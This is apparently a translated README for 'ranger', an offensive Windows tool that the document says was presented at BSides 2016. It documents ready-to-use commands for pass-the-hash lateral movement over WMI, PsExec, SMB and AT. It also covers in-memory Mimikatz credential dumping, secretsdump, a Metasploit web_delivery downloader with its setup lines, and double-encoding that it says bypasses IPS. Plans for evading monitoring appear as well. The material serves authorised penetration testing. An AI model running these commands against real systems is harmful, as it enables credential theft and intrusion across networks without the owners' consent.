ranger

Инструмент для поддержки специалистов по безопасности при доступе и взаимодействии с удаленными системами на базе Microsoft Windows.

Этот проект был задуман с мыслью: мы не изобрели лук или стрелу, а лишь нашли более эффективный способ их использования.

Ranger — это инструмент для атак и тестирования на проникновение, управляемый из командной строки, который может использовать инстанциированный сервер-катапульту для доставки возможностей против систем Windows. Пока у пользователя есть набор учетных данных или хэшей (NTLM, LM, LM:NTLM), он или она может получить доступ к системам, входящим в доверенную зону.

Используя эту возможность, специалист по безопасности может извлекать учетные данные из памяти в открытом виде, получать доступ к таблицам SAM, выполнять команды, запускать скрипты PowerShell, двоичные файлы Windows и другие инструменты. В настоящее время инструмент обходит большинство решений IPS от вендоров, если только они не были специально настроены для его обнаружения. Инструмент был разработан с использованием наших домашних лабораторий для поддержки специалистов по безопасности, выполняющих законные и/или контрактные действия.

Добавляется всё больше функциональности, но на данный момент инструмент использует вклады сообщества из репозиториев, связанных с командами PowerShell PowerView, PowerShell Mimikatz и Impacket.

Управление Ranger:

Установка:

wget https://raw.githubusercontent.com/funkandwagnalls/ranger/master/setup.sh
chmod a+x setup.sh
./setup.sh
rm setup.sh

Обновление:

ranger --update

Использование:

• Ranger использует комбинацию методов и атак; метод используется для доставки атаки/команды
• Атака — это то, чего вы пытаетесь достичь
• Некоторые пункты одновременно являются и методом, и атакой; некоторые методы не могут использовать определённые атаки из-за текущих ограничений в библиотеках или протоколах

Методы и атаки:

--scout
--secrets-dump

Метод:

--wmiexec
--psexec
--smbexec
--atexec

Атака:

--command
--invoker
--downloader
--executor
--domain-group-members
--local-group-members
--get-domain-membership
--get-forest-domains
--get-forest
--get-dc
--find-la-access

Выполнение команд:

Поиск вошедших пользователей:

ranger.py [-u Administrator] [-p Password1] [-d Domain] --scout

Командная оболочка SMBEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --smbexec -q -v -vv -vvv

Командная оболочка PSEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -q -v -vv -vvv

Выполнение команды PSEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -c "Net User" -q -v -vv -vvv

Выполнение команды WMIEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec -c "Net User"

Инжектор памяти PowerShell Mimikatz через WMIEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker

Инжектор памяти Metasploit web_delivery через WMIEXEC (требуется настройка Metasploit, см. ниже):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader

Инжектор памяти пользовательского кода через WMIEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"

Выполнение команды ATEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --atexec -c "Net User" --no-encoder

Инжектор памяти PowerShell Mimikatz через ATEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker --no-encoder

Инжектор памяти Metasploit web_delivery через ATEXEC (требуется настройка Metasploit, см. ниже):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader --no-encoder

Инжектор памяти пользовательского кода через ATEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds" --no-encoder

Инжектор памяти пользовательского кода SECRETSDUMP:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --secrets-dump

Создание атаки Mimikatz для вставки:

ranger.py --invoker -q -v -vv -vvv

Создание атаки web_delivery для вставки (требуется настройка Metasploit, см. ниже):

ranger.py --downloader -q -v -vv -vvv

Создание атаки Executor для вставки:

ranger.py --executor -q -v -vv -vvv

Идентификация членов групп и доменов

• При идентификации групп убедитесь, что вы определили фактический домен запроса с помощью --get-domain-membership
• Затем при запросе группы используйте опциональный --domain, который позволяет вам указать другой домен, отличный от того, в который вы вошли

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --get-domain-membership
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --domain "Domain.local2"

Примечания по использованию:

Формат файла учетных данных:

• Вы можете передать список имен пользователей и паролей или хэшей в следующем формате в одном файле:

username password
username LM:NTLM
username :NTLM
username **NO PASSWORD**:NTLM
PWDUMP
username PWDUMP domain
username password domain
username LM:NTLM domain
username :NTLM  domain
username **NO PASSWORD**:NTLM domain
PWDUMP domain
username PWDUMP domain

Предостережения относительно файла учетных данных:

• Если вы укажете доменные имена в файле, они будут использоваться вместо WORKGROUP по умолчанию.
• Если вы укажете доменное имя через командную строку -d, это будет означать, что вы хотите игнорировать все доменные имена в файле.

Выполнение из командной строки:

• Если вы не хотите использовать файл, вы можете передать данные напрямую через командную строку.
• Если вы хотите передать хэши вместо паролей, просто укажите их через аргумент пароля.
• Если они в формате PWDUMP и вы не указали имя пользователя, инструмент извлечёт имя пользователя из хэша.
• Если вы укажете имя пользователя, инструмент будет считать, что тот же хэш применяется к другому пользователю.
• Используйте следующие форматы для пароля:

password
LM:NTLM
:NTLM
PWDUMP

Цели и исключения:

• Цели и исключения могут использоваться одновременно

Цели, диапазоны целей, CIDR целей, списки целей, цели NMAP XML:

• Вы можете предоставить список целей, используя список целей или опцию target.
• Вы можете указать несколько файлов списка целей, разделив их запятыми; инструмент объединит данные, удалит дубликаты, а затем исключит ваш IP-адрес из интерфейса по умолчанию или указанного вами.
• Инструмент принимает нотации CIDR, небольшие диапазоны (192.168.195.1-100) или большие диапазоны (192.168.194.1-192.163.1.1), а также одиночные IP-адреса.
• Опять же, просто разделите их запятыми в командной строке или поместите в файл, разделённый новыми строками.
• XML-файлы Nmap также можно использовать для указания целей; их также можно разделять запятыми.
• Инструмент нормализует и удалит дубликаты перед атакой на машины.
• EXAMPLE: -t 192.168.195.1-100,192.168.195.200-192.168.198.3 -tl list1,list2,lis3 -tnX scan1.xml,scan2.xml

Исключения, диапазоны исключений, CIDR исключений, списки исключений, исключения Nmap XML:

• Вы также можете исключать цели с помощью аргументов исключения; так, если вы не трогаете небольшую подсеть класса C внутри класса A, инструмент учтёт это.
• Исключения выполняются точно так же, как и цели; просто замените t в командах на e.
• EXAMPLE: -e 192.168.195.1-100,192.168.195.200-192.168.198.3 -el list1,list2,lis3 -enX scan1.xml,scan2.xml

Системы предотвращения вторжений (IPS):

• Mimikatz, Downloader и Executor используют инжекцию памяти PowerShell через вызов других служб и протоколов.
• Команды дважды закодированы и обходят современные решения IPS (даже следующего поколения), если только они не настроены специально для обнаружения этих атак.
• ATEXEC — единственный, который в настоящее время записывается на диск и не кодируется; мне ещё предстоит кое-что переписать.

Атаки Invoker:

• Выполняет PowerShell Mimikatz на целевой машине.
• По умолчанию используется функция/командлет Invoke-Mimikatz, которую можно изменить с помощью -f
• По умолчанию аргументы установлены на DumpCreds, которые можно изменить с помощью -a
• Invoker требует указания обеих опций -f и -a, если вы хотите изменить команду; чтобы избежать использования -a, вы можете использовать Executor
• EXAMPLE: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"

Атаки Executor:

• Позволяет запускать двоичные файлы и/или скрипты PowerShell на целевых машинах.
• Файл сценария или двоичный файл должен находиться в текущем каталоге на вашей атакующей машине.
• Сценарий или двоичный файл будет внедрён непосредственно в память.
• Требует указания полезной нагрузки (двоичного файла или сценария) с помощью -x.
• Требует определения функции/командлета/аргументов с помощью -f.
• Опционально вы можете дополнительно определить команду с помощью -a, если это требуется инструменту.
• EXAMPLE 1: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"
• EXAMPLE 2: -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"

Атаки Downloader (web_delivery):

• Чтобы настроить Metasploit для эксплуатации web_delivery, запустите Metasploit и настройте эксплойт в соответствии со следующими условиями:

use exploit/multi/script/web_delivery
set targets 2
set payload <choose your desired payload>
set lhost <your IP>
set lport <port for the shell make sure it is not a conflicting port>
set URIPATH /
set SRVPORT <the same as what is set by the -r option in ranger, defaults to 8888>
exploit -j

Часто задаваемые вопросы

Ошибки отказа в доступе для SMBEXEC и WMIEXEC

Я получаю ошибки отказа в доступе на машинах Windows, которые являются частью WORKGROUP.

Если система не входит в домен, Windows по умолчанию не имеет административных общих ресурсов. SMBEXEC полагается на включенные общие ресурсы. Кроме того, WMIC не включен на машинах WORKGROUP. SMBEXEC и WMIEXEC предназначены для атак на протоколы, включенные на доменных системах. Хотя включить эти функции на системе WORKGROUP, безусловно, возможно, имейте в виду, что вы внедряете уязвимые протоколы (в конце концов, именно для атаки на них и создан этот инструмент). Включать эти функции на вашем основном домашнем компьютере, который ваша вторая половинка использует для Facebook, вероятно, не лучшая идея.

• Убедитесь, что это тестовая машина, которая вам принадлежит. Вы можете принудительно включить общие ресурсы, следуя инструкциям здесь: http://www.wintips.org/how-to-enable-admin-shares-windows-7/
• Если вы хотите определить, какие общие ресурсы доступны, а затем атаковать их, вы можете использовать инструмент вроде enum4linux, а затем использовать аргумент --share share_name в ranger, чтобы попытаться выполнить SMBEXEC.

Будущие возможности:

• Продолжить добавление цветного вывода с помощью https://pypi.python.org/pypi/colorama
• WINDOWER – Выполнение PowerShell без скрытия окна для обхода определённых систем мониторинга
• GATHERER – Автоматический извлекатель учетных данных для группы домена
• HUNTER - Полуинтеллектуальное решение (SID) – Определяет путь повышения привилегий на основе сходства членства в группах с использованием деревьев классификации
• Улучшенный парсинг NTDS и групп
• Серверы-катапульты SMB

Благодарности:

• Microsoft за PowerShell (и заранее за bash в Windows!)
• Команде CoreLabs Impacket
• Команде PowerShellEmpire
• Mattifestation за создание PowerSploit и PowerShellMafia, а также участникам за продолжение разработки
• Нашим друзьям и сообществу за конструктивную атмосферу

Представлено на:

[BSides Charm City 2016: April 23, 2016] (http://2016.bsidescharm.com/2016-talks/ranger-it-just-takes-one-account-to-take-down-an-enterprise)

Видео презентации:

[Video] (https://youtu.be/HrXTrPzdR2Q?list=PL0YXeUocWA4NAGPmYdKNmQEh8H6iL_4Ik)

Дистрибутивы, в состав которых входит инструмент:

[Black Arch Linux] (https://blackarch.org/)